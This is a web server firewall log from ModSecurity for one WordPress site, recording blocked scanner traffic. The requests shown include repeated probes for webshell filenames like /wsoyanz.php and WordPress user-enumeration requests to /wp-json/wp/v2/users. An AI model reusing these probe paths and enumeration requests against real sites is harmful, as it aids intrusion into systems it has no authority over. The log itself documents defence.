[Sat Dec 27 00:35:24.196528 2025] [:error] [pid 34274:tid 34278] [client 4.189.160.210:59720] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "aU65TM6fabpS0mfhiCHmeAAAAMI"]
[Sat Dec 27 00:35:24.696745 2025] [:error] [pid 34274:tid 34294] [client 4.189.160.210:52314] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-class.php"] [unique_id "aU65TM6fabpS0mfhiCHmegAAANI"]
[Sat Dec 27 00:35:25.007769 2025] [:error] [pid 34274:tid 34283] [client 4.189.160.210:57083] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/priv.php"] [unique_id "aU65Tc6fabpS0mfhiCHmewAAAMc"]
[Sat Dec 27 00:35:25.490075 2025] [:error] [pid 34274:tid 34286] [client 4.189.160.210:7229] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/priv.php"] [unique_id "aU65Tc6fabpS0mfhiCHmfQAAAMo"]
[Sat Dec 27 00:35:26.053316 2025] [:error] [pid 34188:tid 34242] [client 4.189.160.210:7181] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/priv.php"] [unique_id "aU65Tg54j0mXgip5BAGO1wAAAFY"]
[Sat Dec 27 00:35:26.408232 2025] [:error] [pid 34274:tid 34276] [client 4.189.160.210:57044] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/priv.php"] [unique_id "aU65Ts6fabpS0mfhiCHmgQAAAMA"]
[Sat Dec 27 00:35:26.832442 2025] [:error] [pid 34274:tid 34282] [client 4.189.160.210:52324] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allez.php"] [unique_id "aU65Ts6fabpS0mfhiCHmhAAAAMY"]
[Sat Dec 27 00:35:27.821024 2025] [:error] [pid 34189:tid 34258] [client 4.189.160.210:63767] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allez.php"] [unique_id "aU65Twnn007DnMwSsfcHtgAAAIs"]
[Sat Dec 27 00:35:28.085468 2025] [:error] [pid 34189:tid 34269] [client 4.189.160.210:63153] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allez.php"] [unique_id "aU65UAnn007DnMwSsfcHtwAAAJY"]
[Sat Dec 27 00:35:28.952011 2025] [:error] [pid 34189:tid 34262] [client 4.189.160.210:63753] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/allez.php"] [unique_id "aU65UAnn007DnMwSsfcHuQAAAI8"]
[Sat Dec 27 00:35:30.181981 2025] [:error] [pid 34274:tid 34284] [client 4.189.160.210:57061] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aU65Us6fabpS0mfhiCHmiwAAAMg"]
[Sat Dec 27 00:35:30.882062 2025] [:error] [pid 34189:tid 34259] [client 4.189.160.210:59759] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aU65Ugnn007DnMwSsfcHvAAAAIw"]
[Sat Dec 27 00:35:31.545151 2025] [:error] [pid 34274:tid 34280] [client 4.189.160.210:63785] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aU65U86fabpS0mfhiCHmlgAAAMQ"]
[Sat Dec 27 00:35:31.862527 2025] [:error] [pid 34189:tid 34261] [client 4.189.160.210:7212] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/menu.php"] [unique_id "aU65Uwnn007DnMwSsfcHwQAAAI4"]
[Sat Dec 27 00:35:32.441611 2025] [:error] [pid 34189:tid 34271] [client 4.189.160.210:63124] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/functions.php"] [unique_id "aU65VAnn007DnMwSsfcHxQAAAJg"]
[Sat Dec 27 00:35:33.072509 2025] [:error] [pid 34187:tid 34216] [client 4.189.160.210:59767] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/functions.php"] [unique_id "aU65Vav8srZGEpsIm8DeegAAABg"]
[Sat Dec 27 00:35:33.489695 2025] [:error] [pid 34274:tid 34277] [client 4.189.160.210:63129] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/functions.php"] [unique_id "aU65Vc6fabpS0mfhiCHm5wAAAME"]
[Sat Dec 27 00:35:33.910747 2025] [:error] [pid 34189:tid 34266] [client 4.189.160.210:52328] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/functions.php"] [unique_id "aU65VQnn007DnMwSsfcHzAAAAJM"]
[Sat Dec 27 00:35:34.289743 2025] [:error] [pid 34274:tid 34294] [client 4.189.160.210:52349] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aU65Vs6fabpS0mfhiCHm-gAAANI"]
[Sat Dec 27 00:35:34.857363 2025] [:error] [pid 34189:tid 34264] [client 4.189.160.210:7203] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aU65Vgnn007DnMwSsfcH1QAAAJE"]
[Sat Dec 27 00:35:35.426760 2025] [:error] [pid 34187:tid 34214] [client 4.189.160.210:52330] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aU65V6v8srZGEpsIm8DegAAAABY"]
[Sat Dec 27 00:35:36.310153 2025] [:error] [pid 34274:tid 34280] [client 4.189.160.210:57063] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/goat1.php"] [unique_id "aU65WM6fabpS0mfhiCHnAgAAAMQ"]
[Sat Dec 27 00:35:36.773761 2025] [:error] [pid 34188:tid 34238] [client 4.189.160.210:7221] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-envato-market-github.php"] [unique_id "aU65WA54j0mXgip5BAGO5wAAAFI"]
[Sat Dec 27 00:35:37.222026 2025] [:error] [pid 34188:tid 34225] [client 4.189.160.210:59732] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-envato-market-github.php"] [unique_id "aU65WQ54j0mXgip5BAGO6QAAAEU"]
[Sat Dec 27 00:35:37.818634 2025] [:error] [pid 34189:tid 34248] [client 4.189.160.210:63113] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-envato-market-github.php"] [unique_id "aU65WQnn007DnMwSsfcH2gAAAIE"]
[Sat Dec 27 00:35:38.657896 2025] [:error] [pid 34274:tid 34278] [client 4.189.160.210:63156] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/class-envato-market-github.php"] [unique_id "aU65Ws6fabpS0mfhiCHnBwAAAMI"]
[Sat Dec 27 00:35:39.241965 2025] [:error] [pid 34188:tid 34236] [client 4.189.160.210:52302] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsoyanz.php"] [unique_id "aU65Ww54j0mXgip5BAGO7QAAAFA"]
[Sat Dec 27 00:35:39.760100 2025] [:error] [pid 34189:tid 34258] [client 4.189.160.210:57029] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsoyanz.php"] [unique_id "aU65Wwnn007DnMwSsfcH3wAAAIs"]
[Sat Dec 27 00:35:40.489265 2025] [:error] [pid 34189:tid 34262] [client 4.189.160.210:7206] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsoyanz.php"] [unique_id "aU65XAnn007DnMwSsfcH4AAAAI8"]
[Sat Dec 27 00:35:41.456763 2025] [:error] [pid 34188:tid 34240] [client 4.189.160.210:7171] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsoyanz.php"] [unique_id "aU65XQ54j0mXgip5BAGO7wAAAFQ"]
[Sat Dec 27 01:32:18.916604 2025] [:error] [pid 34188:tid 34232] [client 125.75.66.97:45095] [client 125.75.66.97] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aU7Gog54j0mXgip5BAGlpwAAAEw"]
[Sat Dec 27 02:09:53.015377 2025] [:error] [pid 47566:tid 47591] [client 198.49.74.2:57054] [client 198.49.74.2] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aU7PcayYgLfR4YwO7byMCAAAARY"]
[Sat Dec 27 02:10:41.921381 2025] [:error] [pid 47566:tid 47590] [client 159.223.86.119:53994] [client 159.223.86.119] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/index.php/wp-json/wp/v2/users"] [unique_id "aU7PoayYgLfR4YwO7byMgwAAARU"]
[Sat Dec 27 02:16:15.778350 2025] [:error] [pid 47566:tid 47592] [client 118.27.95.219:29118] [client 118.27.95.219] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/Wp-JsOn/Wp/V2/UsErS"] [unique_id "aU7Q76yYgLfR4YwO7byQCQAAARc"]
[Sat Dec 27 02:25:56.844171 2025] [:error] [pid 47566:tid 47590] [client 195.24.236.17:50220] [client 195.24.236.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aU7TNKyYgLfR4YwO7byUfQAAARU"]
[Sat Dec 27 02:25:58.334216 2025] [:error] [pid 34274:tid 34277] [client 195.24.236.17:60252] [client 195.24.236.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aU7TNs6fabpS0mfhiCEdfQAAAME"]
[Sat Dec 27 02:25:59.760046 2025] [:error] [pid 34274:tid 34284] [client 195.24.236.17:57994] [client 195.24.236.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aU7TN86fabpS0mfhiCEdfwAAAMg"]
[Sat Dec 27 02:26:01.375413 2025] [:error] [pid 34189:tid 34258] [client 195.24.236.17:61097] [client 195.24.236.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aU7TOQnn007DnMwSsfc31AAAAIs"]
[Sat Dec 27 02:26:03.025745 2025] [:error] [pid 34187:tid 34193] [client 195.24.236.17:60527] [client 195.24.236.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aU7TO6v8srZGEpsIm8AHLgAAAAE"]
[Sat Dec 27 03:47:50.017361 2025] [:error] [pid 16093:tid 16131] [client 104.154.149.35:55033] [client 104.154.149.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.154.149.35, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aU7mZoOUFPKOkSkOup3HjwAAAEU"]
[Sat Dec 27 03:47:52.781090 2025] [:error] [pid 16093:tid 16137] [client 104.154.149.35:55033] [client 104.154.149.35] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "aU7maIOUFPKOkSkOup3HlAAAAEs"]
[Sat Dec 27 03:47:55.171077 2025] [:error] [pid 16093:tid 16133] [client 104.154.149.35:55033] [client 104.154.149.35] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 104.154.149.35, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "aU7ma4OUFPKOkSkOup3HlwAAAEc"]
[Sat Dec 27 04:45:22.729403 2025] [:error] [pid 32193:tid 32264] [client 4.189.160.210:19697] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/npi.php"] [unique_id "aU7z4hgw0eCOc2qYqaIDkQAAAI4"]
[Sat Dec 27 04:45:23.530377 2025] [:error] [pid 32278:tid 32287] [client 4.189.160.210:19328] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/npi.php"] [unique_id "aU7z43-IfCN2Cy9GcchqKwAAAMc"]
[Sat Dec 27 04:45:27.473960 2025] [:error] [pid 32278:tid 32289] [client 4.189.160.210:19347] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/npi.php"] [unique_id "aU7z53-IfCN2Cy9GcchqNQAAAMk"]
[Sat Dec 27 04:45:28.797249 2025] [:error] [pid 32192:tid 32229] [client 4.189.160.210:32525] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/npi.php"] [unique_id "aU7z6C_q0VFe066lbk-ufgAAAEY"]
[Sat Dec 27 04:45:29.313230 2025] [:error] [pid 32278:tid 32294] [client 4.189.160.210:3188] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aU7z6X-IfCN2Cy9GcchqPgAAAM4"]
[Sat Dec 27 04:45:32.887459 2025] [:error] [pid 32191:tid 32207] [client 4.189.160.210:23305] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aU7z7LPNtMgrjVCHIdFv4wAAAAw"]
[Sat Dec 27 04:45:37.349596 2025] [:error] [pid 32193:tid 32253] [client 4.189.160.210:33022] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aU7z8Rgw0eCOc2qYqaIDmwAAAIM"]
[Sat Dec 27 04:45:37.849704 2025] [:error] [pid 32193:tid 32263] [client 4.189.160.210:24336] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ahax.php"] [unique_id "aU7z8Rgw0eCOc2qYqaIDnQAAAI0"]
[Sat Dec 27 04:45:45.870942 2025] [:error] [pid 32192:tid 32236] [client 4.189.160.210:25405] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aU7z-S_q0VFe066lbk-ujAAAAE0"]
[Sat Dec 27 04:45:47.140437 2025] [:error] [pid 32192:tid 32246] [client 4.189.160.210:24329] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aU7z-y_q0VFe066lbk-ujgAAAFc"]
[Sat Dec 27 04:45:47.608877 2025] [:error] [pid 32278:tid 32301] [client 4.189.160.210:40526] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aU7z-3-IfCN2Cy9GcchqTQAAANU"]
[Sat Dec 27 04:45:49.746146 2025] [:error] [pid 32193:tid 32251] [client 4.189.160.210:25346] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pop.php"] [unique_id "aU7z_Rgw0eCOc2qYqaIDsAAAAIE"]
[Sat Dec 27 04:45:50.376458 2025] [:error] [pid 32192:tid 32243] [client 4.189.160.210:20540] [client 4.189.160.210] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file17.php"] [unique_id "aU7z_i_q0VFe066lbk-ulAAAAFQ"]
